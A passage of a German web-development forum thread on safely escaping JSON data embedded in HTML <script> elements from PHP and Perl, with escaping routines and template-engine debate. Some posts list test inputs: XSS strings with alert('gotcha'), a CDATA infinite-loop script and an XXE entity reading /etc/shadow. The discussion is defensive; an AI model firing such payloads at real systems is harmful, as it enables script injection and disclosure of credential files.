href="https://github.com/Teein/Html/blob/6b84b731b8141f8f5ff6c67cc30a832e15a0ef03/test/Unit/Ast/TextTest.php#L49" rel="noopener noreferrer">Dort</a> wird sinngemäß <code class="language-php"><span class="token function">assertEquals</span><span class="token punctuation">(</span><span class="token variable">$actual</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'<\\script>'</span><span class="token punctuation">)</span></code> getestet, das sieht für mich wiederum gut aus. Ich muss da jedenfalls nochmal einen genaueren Blick draufwerfen. Danke für den Hinweis.</p> <blockquote> <p>Alternativ könnte man statt <code>\</code> für Javascript hinzuzufügen, und die dann noch für PHP maskieren zu müssen, auch aus einem Zeichen eine Javascript-Unicode-Escape-Sequenz machen. <code>\u</code> bleibt innerhalb von PHPs single-quoted Strings unberührt.</p> </blockquote> <p>Stimmt, so würde es auch gehen.</p> Rolf B's Lösung Tue, 01 May 18 07:45:26 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721083#m1721083 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721083#m1721083 <p>hallo</p> <blockquote> <p>$result =~ s{[/]}{\/}g; #### <---------------</p> </blockquote> <p>Nein, das reicht bei weitem nicht!!!</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Rolf B's Lösung Tue, 01 May 18 08:00:42 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721084#m1721084 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721084#m1721084 <p>hallo</p> <blockquote> <p>hallo</p> <blockquote> <pre><code>$result =~ s{[/]}{\\/}g; #### <--------------- </code></pre> </blockquote> <p>Nein, das reicht bei weitem nicht!!!</p> </blockquote> <pre><code class="block language-perl"><span class="token keyword">sub</span> <span class="token function">perldata_to_htmlscript_ob</span><span class="token punctuation">{</span> <span class="token keyword">my</span> <span class="token variable">$hash_of_objects</span> <span class="token operator">=</span> shift<span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$result</span> <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">;</span> <span class="token keyword">foreach</span><span class="token punctuation">(</span> keys <span class="token variable">%</span><span class="token punctuation">{</span> <span class="token variable">$hash_of_objects</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$result</span> <span class="token operator">.=</span> sprintf<span class="token punctuation">(</span> <span class="token string">qq{var %s = %s;\n}</span><span class="token punctuation">,</span> <span class="token variable">$_</span><span class="token punctuation">,</span> encode_json<span class="token punctuation">(</span> <span class="token variable">$hash_of_objects</span><span class="token operator">-></span><span class="token punctuation">{</span><span class="token variable">$_</span><span class="token punctuation">}</span> <span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token variable">$result</span> <span class="token operator">=~</span> <span class="token regex">s{</script}{<\\/script}g</span><span class="token punctuation">;</span> <span class="token variable">$result</span> <span class="token operator">=~</span> <span class="token regex">s{<script}{<\\script}g</span><span class="token punctuation">;</span> <span class="token variable">$result</span> <span class="token operator">=~</span> <span class="token regex">s{<!--}{<\\!--}g</span><span class="token punctuation">;</span> <span class="token comment"># https://www.w3.org/TR/html51/semantics-scripting.html#script-content-restrictions</span> <span class="token comment"># <!-- ===> <\!-- , <script ===> <\script , </script ===> <\/script</span> <span class="token keyword">return</span> sprintf<span class="token punctuation">(</span><span class="token string">"<script>\n//<!--\n%s\n// -->\n</script>\n"</span><span class="token punctuation">,</span> <span class="token variable">$result</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> </code></pre> <p>Das besteht diesen Test</p> <pre><code class="block">my $arrayref=[ "<!--<script>alert(\"gotcha\")</script>-->", "</script>-->!--<script>alert(\"gotcha\")</script>-->", "--><script>alert(\"gotcha\")</script>-->", ]; </code></pre> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Rolf B's Lösung Tue, 01 May 18 08:25:39 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721086#m1721086 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721086#m1721086 <blockquote> <pre><code class="block language-perl"><span class="token keyword">sub</span> <span class="token function">perldata_to_htmlscript_ob</span><span class="token punctuation">{</span> <span class="token keyword">my</span> <span class="token variable">$hash_of_objects</span> <span class="token operator">=</span> shift<span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$result</span> <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">;</span> <span class="token keyword">foreach</span><span class="token punctuation">(</span> keys <span class="token variable">%</span><span class="token punctuation">{</span> <span class="token variable">$hash_of_objects</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$result</span> <span class="token operator">.=</span> sprintf<span class="token punctuation">(</span> <span class="token string">qq{var %s = %s;\n}</span><span class="token punctuation">,</span> <span class="token variable">$_</span><span class="token punctuation">,</span> encode_json<span class="token punctuation">(</span> <span class="token variable">$hash_of_objects</span><span class="token operator">-></span><span class="token punctuation">{</span><span class="token variable">$_</span><span class="token punctuation">}</span> <span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token variable">$result</span> <span class="token operator">=~</span> <span class="token regex">s{</script}{<\\/script}g</span><span class="token punctuation">;</span> <span class="token variable">$result</span> <span class="token operator">=~</span> <span class="token regex">s{<script}{<\\script}g</span><span class="token punctuation">;</span> <span class="token variable">$result</span> <span class="token operator">=~</span> <span class="token regex">s{<!--}{<\\!--}g</span><span class="token punctuation">;</span> <span class="token comment"># https://www.w3.org/TR/html51/semantics-scripting.html#script-content-restrictions</span> <span class="token comment"># <!-- ===> <\!-- , <script ===> <\script , </script ===> <\/script</span> <span class="token keyword">return</span> sprintf<span class="token punctuation">(</span><span class="token string">"<script>\n//<!--\n%s\n// -->\n</script>\n"</span><span class="token punctuation">,</span> <span class="token variable">$result</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> </code></pre> </blockquote> <p>Ich kann Perl kaum lesen geschweigedenn schreiben, aber ich glaub du musst den regulären Ausdrücken noch sagen, dass sie case-insenstive matchen sollen.</p> Rolf B's Lösung Tue, 01 May 18 08:46:58 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721088#m1721088 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721088#m1721088 <p><a href="/users/2153" class="mention registered-user" rel="noopener noreferrer">@beatovich</a></p> <p>Nurmal so nebenbei: HTML (mit oder ohne JS) mit Perl zu erzeugen (print), daß macht heutzutage keiner mehr. Das war auch einer der Gründe, das Modul CGI.pm aus dem Core zu entfernen, weil diesbezügliche Funktionen längstens überholt sind.</p> <p>Geschätzt seit v5.8 ist HTML::Template in jeder Perl Distribution dabei und weitere TE's standen bereits auch vorher schon zur Verfügung wie z.B. Text::Template. Außerdem ist es schon länger möglich, ganze Frameworks am Stück über CPAN zu installieren. Ebenso stehen verschiedene Module zur Verfügung betreff kontextgerechter Behandlung (HTML::Entities URI::Escape usw.).</p> <p>MfG</p> Rolf B's Lösung Tue, 01 May 18 08:31:06 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721087#m1721087 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721087#m1721087 <p>hallo</p> <blockquote> <blockquote> <pre><code class="block language-perl"><span class="token keyword">sub</span> <span class="token function">perldata_to_htmlscript_ob</span><span class="token punctuation">{</span> <span class="token keyword">my</span> <span class="token variable">$hash_of_objects</span> <span class="token operator">=</span> shift<span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$result</span> <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">;</span> <span class="token keyword">foreach</span><span class="token punctuation">(</span> keys <span class="token variable">%</span><span class="token punctuation">{</span> <span class="token variable">$hash_of_objects</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$result</span> <span class="token operator">.=</span> sprintf<span class="token punctuation">(</span> <span class="token string">qq{var %s = %s;\n}</span><span class="token punctuation">,</span> <span class="token variable">$_</span><span class="token punctuation">,</span> encode_json<span class="token punctuation">(</span> <span class="token variable">$hash_of_objects</span><span class="token operator">-></span><span class="token punctuation">{</span><span class="token variable">$_</span><span class="token punctuation">}</span> <span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token variable">$result</span> <span class="token operator">=~</span> <span class="token regex">s{</script}{<\\/script}ig</span><span class="token punctuation">;</span> <span class="token variable">$result</span> <span class="token operator">=~</span> <span class="token regex">s{<script}{<\\script}ig</span><span class="token punctuation">;</span> <span class="token variable">$result</span> <span class="token operator">=~</span> <span class="token regex">s{<!--}{<\\!--}ig</span><span class="token punctuation">;</span> <span class="token comment"># https://www.w3.org/TR/html51/semantics-scripting.html#script-content-restrictions</span> <span class="token comment"># <!-- ===> <\!-- , <script ===> <\script , </script ===> <\/script</span> <span class="token keyword">return</span> sprintf<span class="token punctuation">(</span><span class="token string">"<script>\n//<!--\n%s\n// -->\n</script>\n"</span><span class="token punctuation">,</span> <span class="token variable">$result</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> </code></pre> </blockquote> <p>Ich kann Perl kaum lesen geschweigedenn schreiben, aber ich glaub du musst den regulären Ausdrücken noch sagen, dass sie case-insenstive matchen sollen.</p> </blockquote> <p>Ja, das kann sogar ich in der Spec nachvollziehen.</p> <p>danke</p> <p>Jetzt brauche ich noch gute Testdata.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Rolf B's Lösung Tue, 01 May 18 09:14:13 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721089#m1721089 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721089#m1721089 <p>hallo</p> <blockquote> <p><a href="/users/2153" class="mention registered-user" rel="noopener noreferrer">@beatovich</a></p> <p>Nurmal so nebenbei: HTML (mit oder ohne JS) mit Perl zu erzeugen (print), daß macht heutzutage keiner mehr.</p> </blockquote> <p>Ja ich knall auch nur ein Grundgerüst raus, der Rest wird durch JS generiert.</p> <p>Aber sei dir bitte bewusst, wie sich dieser Thread entwickelt hat. Für mich ist das hier ein Test- und Lernbett.</p> <blockquote> <p>Das war auch einer der Gründe, das Modul CGI.pm aus dem Core zu entfernen, weil diesbezügliche Funktionen längstens überholt sind.</p> </blockquote> <p>Ich gebe dir Recht darin, dass die html-parts in CGI immer überflüssig waren.</p> <blockquote> <p>Geschätzt seit v5.8 ist HTML::Template in jeder Perl Distribution dabei und weitere TE's standen bereits auch vorher schon zur Verfügung wie z.B. Text::Template.</p> </blockquote> <p>Hier aus HTML::Template</p> <blockquote> <p>The following escape values are supported:</p> </blockquote> <pre><code>html Replaces the following characters with their HTML entity equivalent: &, ", ', <, > js Escapes (with a backslash) the following characters: \, ', ", \n, \r url URL escapes any ASCII characters except for letters, numbers, _, . and -. none Performs no escaping. This is the default, but it's useful to be able to explicitly turn off escaping if you are using the default_escape option. </code></pre> <p>Die Frage ist aber nicht, ob mit oder ohne HTML-Template, sondern ob die Ausgabe kontext-gerecht produziert wird.</p> <p>Das ist im Kontext jetzt nicht zielführen, das musst du zugeben.</p> <p>Persönlich würde ich JSON-Data ja als application/json File einbinden. Da ist der Kontext klar.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Rolf B's Lösung Tue, 01 May 18 10:34:45 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721091#m1721091 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721091#m1721091 <p>hallo <a href="/users/2153" class="mention registered-user" rel="noopener noreferrer">@beatovich</a></p> <blockquote> <blockquote> <p>Nurmal so nebenbei: HTML (mit oder ohne JS) mit Perl zu erzeugen (print), daß macht heutzutage keiner mehr.</p> </blockquote> <p>Ja ich knall auch nur ein Grundgerüst raus, der Rest wird durch JS generiert.</p> <p>Aber sei dir bitte bewusst, wie sich dieser Thread entwickelt hat. Für mich ist das hier ein Test- und Lernbett.</p> </blockquote> <p>Ja natürlich. Da verstehen wir uns doch.</p> <blockquote> <p>Die Frage ist aber nicht, ob mit oder ohne HTML-Template, sondern ob die Ausgabe kontext-gerecht produziert wird.</p> </blockquote> <p>Der Kontext ist grundsätzlich immer zu beachten. Und daß es, im Zusammenhang mit TE's, mehrere Möglichkeiten gibt, ist hier ja auch Thema. HTML::Template unterstützt z.B. eine automatische Behandlung von HTML Entities wenn das im Template selbst angewiesen wurde. Welches Verfahren jedoch letztendlich zum Einsatz kommt, entscheidet das Unternehmen was Verfahren, Arbeit u.a. Prozesse verbindlich festlegt.</p> <blockquote> <p>Persönlich würde ich JSON-Data ja als application/json File einbinden. Da ist der Kontext klar.</p> </blockquote> <p>Klar muss sein, an welcher Stelle der Kontextwechsel erfolgt und wer dafür zuständig ist. Aber das ist auch bei einer Trennung von Layout und Programmcode nicht zwangsläufig auch eine Trennung der Zuständigkeiten sondern oft eine Frage der Vereinbarung und des miteinander Reden.</p> <p>Und wenn ein JSON String als Platzhalter in ein Dokument vom Type text/html einzubauen ist, verkörpert dieser String nicht etwa einen eigenen Content-Type, sondern fügt sich als Teil des Ganzen ein. Der Kontext ergibt sich daraus, ob dieser String innerhalb eines <scrip>-Elements eingebaut wird oder ins DOM. Da haben wir also zwei verschiedene Kontexte zu beachten die ich heute morgen <a href="https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721077#m1721077" rel="noopener noreferrer">hier beschrieben</a> habe.</p> <p>MfG</p> Rolf B's Lösung Tue, 01 May 18 13:00:52 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721103#m1721103 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721103#m1721103 <p><a href="/users/2153" class="mention registered-user" rel="noopener noreferrer">@beatovich</a></p> <blockquote> <p>Ich rate einfach mal: HTML::Template ist für diese Art Template nicht gerüstet.</p> </blockquote> <p>So ein Unsinn! Überlege Dir besser was Du an encode_json() übergibst. Wo ein Kontextwechsel erfolgt, daß musst Du schon selbst beachten, <a href="https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721091#m1721091" rel="noopener noreferrer">siehe hier</a>, da gibt es ungezählte Möglichkeiten.</p> <p>Wenn das eine TE nicht kann, heißt das doch noch lange nicht, daß sie dafür ungeeignet ist!</p> <p>Im Übrigen ist HTML::Template dafür geeignet, JS zu escapen.</p> <p>MfG</p> <p>Tipp: HTML::Template kann auch %platzhalter%.</p> Rolf B's Lösung Tue, 01 May 18 13:09:12 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721104#m1721104 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721104#m1721104 <p>hallo</p> <blockquote> <p><a href="/users/2153" class="mention registered-user" rel="noopener noreferrer">@beatovich</a></p> <blockquote> <p>Ich rate einfach mal: HTML::Template ist für diese Art Template nicht gerüstet.</p> </blockquote> <p>So ein Unsinn! Überlege Dir besser was Du an encode_json() übergibst.</p> </blockquote> <p>encode_json([ "<!--<script>alert("gotcha")</script>-->", "</script>-->!--<script>alert("gotcha")</script>-->", "--><script>alert("gotcha")</script>-->", "<![CDATA[<script>var n=0;while(true){n++;}</script>]]>", "<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>", q{<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>}, ]);</p> <p>wo ist das Problem?</p> <blockquote> <p>Wo ein Kontextwechsel erfolgt, daß musst Du schon selbst beachten, <a href="https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721091#m1721091" rel="noopener noreferrer">siehe hier</a>, da gibt es ungezählte Möglichkeiten.</p> </blockquote> <blockquote> <p>Wenn das eine TE nicht kann, heißt das doch noch lange nicht, daß sie dafür ungeeignet ist!</p> </blockquote> <p>Also praktisch muss ich den json-codierten String selber beabeiten. Da stellt sich dann doch die Frage, welchen speziellen Vorteil ein Template hier hat.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Rolf B's Lösung Tue, 01 May 18 13:30:54 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721105#m1721105 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721105#m1721105 <p><a href="/users/2153" class="mention registered-user" rel="noopener noreferrer">@beatovich</a></p> <blockquote> <p>Also praktisch muss ich den json-codierten String selber beabeiten.</p> </blockquote> <p>In Deinem Fall ja.</p> <blockquote> <p>Da stellt sich dann doch die Frage, welchen speziellen Vorteil ein Template hier hat.</p> </blockquote> <p>Und hier ist die Antwort: Das Eine hat mit dem Anderen nichts zu tun. Weder ein ESCAPE=HTML noch ein ESCAPE=JS wird Dein JSON Konstrukt sicher machen. Tipp: Guck Dir quotemeta() an.</p> <p>MfG</p> <p>PS; <a href="http://rolfrost.de/jsvars.html" rel="nofollow noopener noreferrer">Einfaches Beispiel</a>:</p> <pre><code class="block language-perl"><span class="token keyword">use</span> HTML<span class="token punctuation">:</span><span class="token punctuation">:</span>Template<span class="token punctuation">;</span> <span class="token keyword">use</span> JSON<span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$template</span> <span class="token operator">=</span> <span class="token string">q(var = %umgebung%;)</span><span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$te</span> <span class="token operator">=</span> HTML<span class="token punctuation">:</span><span class="token punctuation">:</span>Template<span class="token operator">-></span>new<span class="token punctuation">(</span> scalarref <span class="token operator">=></span> <span class="token operator">\</span><span class="token variable">$template</span><span class="token punctuation">,</span> vanguard_compatibility_mode <span class="token operator">=></span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$te</span><span class="token operator">-></span>param<span class="token punctuation">(</span> umgebung <span class="token operator">=></span> encode_json<span class="token punctuation">(</span><span class="token operator">\</span><span class="token variable">%ENV</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">print</span> <span class="token variable">$te</span><span class="token operator">-></span>output<span class="token punctuation">;</span> </code></pre> Rolf B's Lösung Tue, 01 May 18 13:40:08 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721106#m1721106 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721106#m1721106 <p>hallo</p> <blockquote> <p>Und hier ist die Antwort: Das Eine hat mit dem Anderen nichts zu tun. Weder ein ESCAPE=HTML noch ein ESCAPE=JS wird Dein JSON Konstrukt sicher machen. Tipp: Guck Dir quotemeta() an.</p> </blockquote> <p>nö das da <a href="https://www.w3.org/TR/html51/semantics-scripting.html#script-content-restrictions" rel="nofollow noopener noreferrer">https://www.w3.org/TR/html51/semantics-scripting.html#script-content-restrictions</a> ist relevant!</p> <blockquote> <pre><code class="block language-perl"><span class="token keyword">use</span> HTML<span class="token punctuation">:</span><span class="token punctuation">:</span>Template<span class="token punctuation">;</span> <span class="token keyword">use</span> JSON<span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$template</span> <span class="token operator">=</span> <span class="token string">q(var = %umgebung%;)</span><span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$te</span> <span class="token operator">=</span> HTML<span class="token punctuation">:</span><span class="token punctuation">:</span>Template<span class="token operator">-></span>new<span class="token punctuation">(</span> scalarref <span class="token operator">=></span> <span class="token operator">\</span><span class="token variable">$template</span><span class="token punctuation">,</span> vanguard_compatibility_mode <span class="token operator">=></span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$te</span><span class="token operator">-></span>param<span class="token punctuation">(</span> umgebung <span class="token operator">=></span> encode_json<span class="token punctuation">(</span><span class="token operator">\</span><span class="token variable">%ENV</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">print</span> <span class="token variable">$te</span><span class="token operator">-></span>output<span class="token punctuation">;</span> </code></pre> </blockquote> <p>escaping slashes tut nicht das notwendige!</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Rolf B's Lösung Tue, 01 May 18 13:46:35 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721107#m1721107 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721107#m1721107 <p><a href="/users/2153" class="mention registered-user" rel="noopener noreferrer">@beatovich</a></p> <blockquote> <p>escaping slashes tut nicht das notwendige!</p> </blockquote> <p>Na dann guck Dir doch mal selber an, was da notwendig ist. Und daß man das alles auch nach Perl umsetzen kann, davon bin ich überzeugt!</p> <p>MfG</p> <p>PS: Geht ja doch:</p> <pre><code class="block language-perl"><span class="token keyword">print</span> quotemeta<span class="token punctuation">(</span><span class="token string">"!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"># \!</span> </code></pre> Rolf B's Lösung Tue, 01 May 18 13:57:03 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721109#m1721109 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721109#m1721109 <blockquote> <p>Na dann guck Dir doch mal selber an, was da notwendig ist. Und daß man das alles auch nach Perl umsetzen kann, davon bin ich überzeugt!</p> </blockquote> <p><a href="https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721084#m1721084" rel="noopener noreferrer">Das hat beatovich schon getan</a>.</p> Rolf B's Lösung Tue, 01 May 18 17:47:48 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721144#m1721144 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721144#m1721144 <p>Hallo,</p> <p>letztlich habt ihr im Verlauf des Tages meinen Standpunkt bestätigt: Man muss ganz genau gucken, wo eine Template-Variable aufgelöst wird, und abhängig davon die Kontextbehandlung durchführen.</p> <p>Eine TE, die das automatisch kann, reduziert Fehlerpotenzial.</p> <p>Eine TE, die das GAR nicht kann und vom Anwender erwartet, Template-Variablen aus der Programmiersprache heraus passend vorbehandelt bereitzustellen, würde ich als defizitär ansehen. Wenn ich bei der Datenübergabe wissen muss, wo im Template die Daten landen, habe ich eine Abhängigkeit zwischen Logik und Präsentation drin, die nicht sein sollte. Abhängigkeiten zu beseitigen ist immer das Maß der Dinge.</p> <p>Mein Smarty-Beispiel zeigte eine TE, bei der ich im Template sagen kann, welche Behandlung nötig ist. Das ist zwar nicht optimal, aber immerhin erlaubt es mir die Kontrolle über das, was geschieht und der Code ist vom Rendering entkoppelt. Dass json_encode nicht hinreichend ist, um eine sichere Template-Auflösung für JS zu ermöglichen, hat mich allerdings erschreckt. Aber Smarty ist deswegen nicht tot; man kann Modifizierer selbst nachrüsten und damit die Entkoppelung retten.</p> <p><em>Rolf</em></p> <div class="signature">-- <br> sumpsi - posui - clusi </div> Rolf B's Lösung Tue, 01 May 18 18:09:04 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721148#m1721148 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721148#m1721148 <p>Tach!</p> <blockquote> <p>Dazu möchte ich Danke sagen, als Teilzeit-Webentwickler war mir diese Falle überhaupt nicht klar. Und json_encode in PHP reicht da auch nicht; der macht zwar <code></script></code> zu <code><\/script></code>, lässt aber <!-- stehen wie es ist; und wenn das in einem JS-String auftaucht, zerreißt es das Script genauso. Sehr ärgerlich.</p> </blockquote> <p>Eigentlich auch wieder nicht, beziehungsweise nur in Browsern, die <script> nicht verstehen. Firefox und Chrome lassen sich mit folgendem Konstrukt jedenfalls nicht aus dem Tritt bringen. Auch ein HTML-Kommentar-Ende mitten im Javascript-Code bring sie nicht aus der Ruhe.</p> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token operator"><</span><span class="token operator">!</span><span class="token operator">--</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'geloggt'</span><span class="token punctuation">)</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>i</span><span class="token punctuation">></span></span>irgendwas<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>i</span><span class="token punctuation">></span></span> </code></pre> <p>dedlfix.</p> Rolf B's Lösung Wed, 02 May 18 20:17:33 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721241#m1721241 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721241#m1721241 <p><a href="/users/6547" class="mention registered-user" rel="noopener noreferrer">@Rolf B</a></p> <blockquote> <p>Dazu möchte ich Danke sagen, als Teilzeit-Webentwickler war mir diese Falle überhaupt nicht klar. Und json_encode in PHP reicht da auch nicht; der macht zwar <code></script></code> zu <code><\/script></code>, lässt aber <!-- stehen wie es ist; und wenn das in einem JS-String auftaucht, zerreißt es das Script genauso. Sehr ärgerlich.</p> </blockquote> <p>Das Problem ist übrigens ganz einfach lösbar und zwar ohne daß irgendwelche Zeichen maskiert werden müssen und ohne daß am Encoding was geändert werden muss. Für die TE ist da ebensowenig was zu konfigurieren. Also ohne weiteren Programmieraufwand für dieses Verfahren. Steht morgen in meinem Artikel </p> <p>MfG</p> Rolf B's Lösung Tue, 01 May 18 18:03:10 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721146#m1721146 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721146#m1721146 <p><a href="/users/6547" class="mention registered-user" rel="noopener noreferrer">@Rolf B</a></p> <blockquote> <p>letztlich habt ihr im Verlauf des Tages meinen Standpunkt bestätigt: Man muss ganz genau gucken, wo eine Template-Variable aufgelöst wird, und abhängig davon die Kontextbehandlung durchführen.</p> <p>Eine TE, die das automatisch kann, reduziert Fehlerpotenzial.</p> </blockquote> <p>Eine TE die <a href="https://www.w3.org/TR/html51/semantics-scripting.html#script-content-restrictions" rel="nofollow noopener noreferrer">diesen Anforderungen</a> genüge tun soll gibt es in Perl nicht. Ob Smarty diesen Anforderungen gerecht wird, kann ich nicht beurteilen.</p> <p>Üblicherweise escapen TE's html und JS, nicht jedoch den Slash und das Ausrufezeichen, was sich aus <a href="https://www.w3.org/TR/html51/semantics-scripting.html#script-content-restrictions" rel="nofollow noopener noreferrer">diesen Anforderungen</a> ergibt. Vielmehr fallen die ebenda aufgeführten Zeichen in den Kompetenzbereich von quotemeta(); also mitnichten in den Zuständigkeitsbereich einer TE die HTML/JS rendert.</p> <p>MfG</p> Rolf B's Lösung Tue, 01 May 18 19:03:06 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721166#m1721166 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721166#m1721166 <p>Hallo dedlfix,</p> <p>hm, keine Ahnung was ich da eben für einen Effekt hatte. Ich krieg's nicht mehr hin. Vermutlich war es eine Kombination mit </script> - und dann natürlich kein Wunder.</p> <p><em>Rolf</em></p> <div class="signature">-- <br> sumpsi - posui - clusi </div> Rolf B's Lösung Wed, 02 May 18 20:26:13 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721242#m1721242 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721242#m1721242 <blockquote> <blockquote> <p>Dazu möchte ich Danke sagen, als Teilzeit-Webentwickler war mir diese Falle überhaupt nicht klar. Und json_encode in PHP reicht da auch nicht; der macht zwar <code></script></code> zu <code><\/script></code>, lässt aber <!-- stehen wie es ist; und wenn das in einem JS-String auftaucht, zerreißt es das Script genauso. Sehr ärgerlich.</p> </blockquote> <p>Das Problem ist übrigens ganz einfach lösbar [...] Steht morgen in meinem Artikel </p> </blockquote> <p>Oder heute schon hier im Forum.</p> Rolf B's Lösung Thu, 03 May 18 05:17:15 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721244#m1721244 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721244#m1721244 <blockquote> <blockquote> <blockquote> <p>Dazu möchte ich Danke sagen, als Teilzeit-Webentwickler war mir diese Falle überhaupt nicht klar. Und json_encode in PHP reicht da auch nicht; der macht zwar <code></script></code> zu <code><\/script></code>, lässt aber <!-- stehen wie es ist; und wenn das in einem JS-String auftaucht, zerreißt es das Script genauso. Sehr ärgerlich.</p> </blockquote> <p>Das Problem ist übrigens ganz einfach lösbar [...] Steht morgen in meinem Artikel </p> </blockquote> <p>Oder heute schon hier im Forum.</p> </blockquote> 